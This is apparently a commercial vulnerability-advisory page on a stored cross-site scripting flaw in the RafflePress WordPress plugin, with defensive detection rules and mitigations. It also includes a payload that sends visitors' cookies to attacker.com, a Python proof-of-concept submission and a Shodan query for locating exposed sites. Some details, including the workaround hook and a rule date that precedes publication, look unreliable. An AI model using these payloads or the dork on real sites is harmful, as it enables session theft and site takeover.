☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-12484

CVE-2025-12484 Cross-Site Scripting in Rafflepress
📅 PUBLISHED: 2025-11-19 07:46 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.41%
👁️
0.41% probability
10.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-12484 is a Stored Cross-Site Scripting (XSS) vulnerability in the Giveaways and Contests by RafflePress WordPress plugin, affecting all versions up to and including 1.12.19. The flaw resides in multiple social media username parameters (e.g., Twitter, Facebook, Instagram) that are insufficiently sanitized and escaped. An unauthenticated attacker can inject arbitrary web scripts, which execute when any user accesses the compromised page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released as of this report.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The RafflePress plugin is used to create giveaways and contests, often handling user-submitted social media handles. The lack of input sanitization in these fields allows persistent XSS payloads to be stored and executed in the context of the WordPress site.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.2 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must visit the page)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: High. Although user interaction is required, the attack is trivial to execute and can affect all visitors to the compromised page.

Deep Dive & Mechanics

The vulnerability exists in the RafflePress plugin’s handling of social media username fields during contest entry submissions. When a user enters their social media handles (e.g., Twitter, Facebook, Instagram), the plugin stores these values without proper sanitization or output escaping. The stored data is later rendered on the contest page or admin dashboard without encoding, allowing arbitrary HTML/JavaScript injection.

Root Cause: The plugin uses $_POST or $_GET parameters for social media usernames and directly outputs them via echo or similar functions without using WordPress’s esc_html() or wp_kses().

Attack Vector: An unauthenticated attacker submits a contest entry with a malicious payload in a social media username field. The payload is stored in the database and executed when any user (including admins) views the contest entries or the public contest page.

Impact: Successful exploitation allows the attacker to:

  • Steal session cookies
  • Redirect users to malicious sites
  • Deface the WordPress site
  • Perform actions on behalf of the victim (e.g., create admin accounts)

Vulnerable vs. Patched Code

Vulnerable Code (RafflePress <= 1.12.19):

// In a function that processes social media fields
$twitter_username = $_POST['rafflepress_twitter'];
// Direct output without escaping
echo '<div class="social-twitter">' . $twitter_username . '</div>';

Patched Code (Hypothetical fix):

$twitter_username = sanitize_text_field($_POST['rafflepress_twitter']);
echo '<div class="social-twitter">' . esc_html($twitter_username) . '</div>';

The fix requires using sanitize_text_field() on input and esc_html() on output to prevent XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress site with RafflePress plugin version <= 1.12.19
  • A publicly accessible contest page

Exploit Steps:

  1. Identify a contest entry form with social media fields (e.g., Twitter, Facebook).
  2. Submit a payload in one of the fields, such as:
    <script>alert('XSS')</script>
    
    or a more malicious payload:
    <img src=x onerror=document.location='http://attacker.com/steal.php?c='+document.cookie>
    
  3. The payload is stored and executed when any user views the contest entries or the public page.

Proof-of-Concept (Python):

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
    'action': 'rafflepress_submit_entry',
    'rafflepress_twitter': '<script>alert("XSS")</script>',
    'rafflepress_facebook': 'test'
}
requests.post(target_url, data=payload)

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual POST requests to admin-ajax.php with action=rafflepress_submit_entry containing script tags or event handlers.
  • Review database entries for social media fields containing HTML/JavaScript.

Mitigation:

  • Disable the RafflePress plugin until a patch is available.
  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in social media fields.
  • Use WordPress security plugins to add input sanitization.

Indicators of Compromise (IOCs)

  • Network: POST requests to /wp-admin/admin-ajax.php with action=rafflepress_submit_entry and parameters containing <script>, <img onerror>, or similar XSS patterns.
  • Host: Database entries in wp_rafflepress_entries table with social media fields containing HTML/JavaScript.
  • File: Modified plugin files (though unlikely, as the vulnerability is in the core plugin).

Example IOC (Sigma Rule):

title: RafflePress XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in RafflePress social media fields
logsource:
  category: webserver
  product: apache
detection:
  selection:
    c-uri|contains: '/wp-admin/admin-ajax.php'
    cs-method: 'POST'
    cs-uri-query|contains: 'action=rafflepress_submit_entry'
    cs-uri-query|contains|any:
      - '<script'
      - '<img'
      - 'onerror'
      - 'onload'
  condition: selection
falsepositives:
  - Legitimate use of HTML in social media fields (unlikely)
level: high

Detection Engineering

YARA Rule

rule RafflePress_XSS_Payload {
    meta:
        description = "Detects XSS payloads in RafflePress social media fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12484"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]+onerror\s*=/is
        $xss3 = /<svg[^>]+onload\s*=/is
        $field1 = "rafflepress_twitter"
        $field2 = "rafflepress_facebook"
        $field3 = "rafflepress_instagram"
    condition:
        any of ($xss*) and any of ($field*)
}

Sigma Rule

title: RafflePress Stored XSS Detection
id: abcdef01-1234-5678-9abc-def012345678
status: experimental
description: Detects stored XSS in RafflePress social media fields
logsource:
  category: webserver
  product: apache
detection:
  selection:
    cs-method: 'POST'
    c-uri|contains: '/wp-admin/admin-ajax.php'
    cs-uri-query|contains: 'action=rafflepress_submit_entry'
    cs-uri-query|contains|any:
      - '<script'
      - '<img'
      - 'onerror'
      - 'onload'
  condition: selection
falsepositives:
  - None expected
level: high

Suricata Rule

alert http any any -> any any (msg:"RafflePress Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=rafflepress_submit_entry"; http_client_body; pcre:"/(<script|<img|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the RafflePress plugin until a patch is released.
  2. Implement a WAF rule to block XSS payloads in POST parameters containing rafflepress_*.
  3. Audit existing entries for malicious content and remove them.

Long-term Fix:

  • The vendor must release a patched version that sanitizes input with sanitize_text_field() and escapes output with esc_html().
  • Users should update to the latest version once available.

Workaround:

  • Add custom code to the theme's functions.php to sanitize the fields:
add_filter('rafflepress_sanitize_social_field', 'sanitize_text_field');

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/rafflepress"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-12484/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.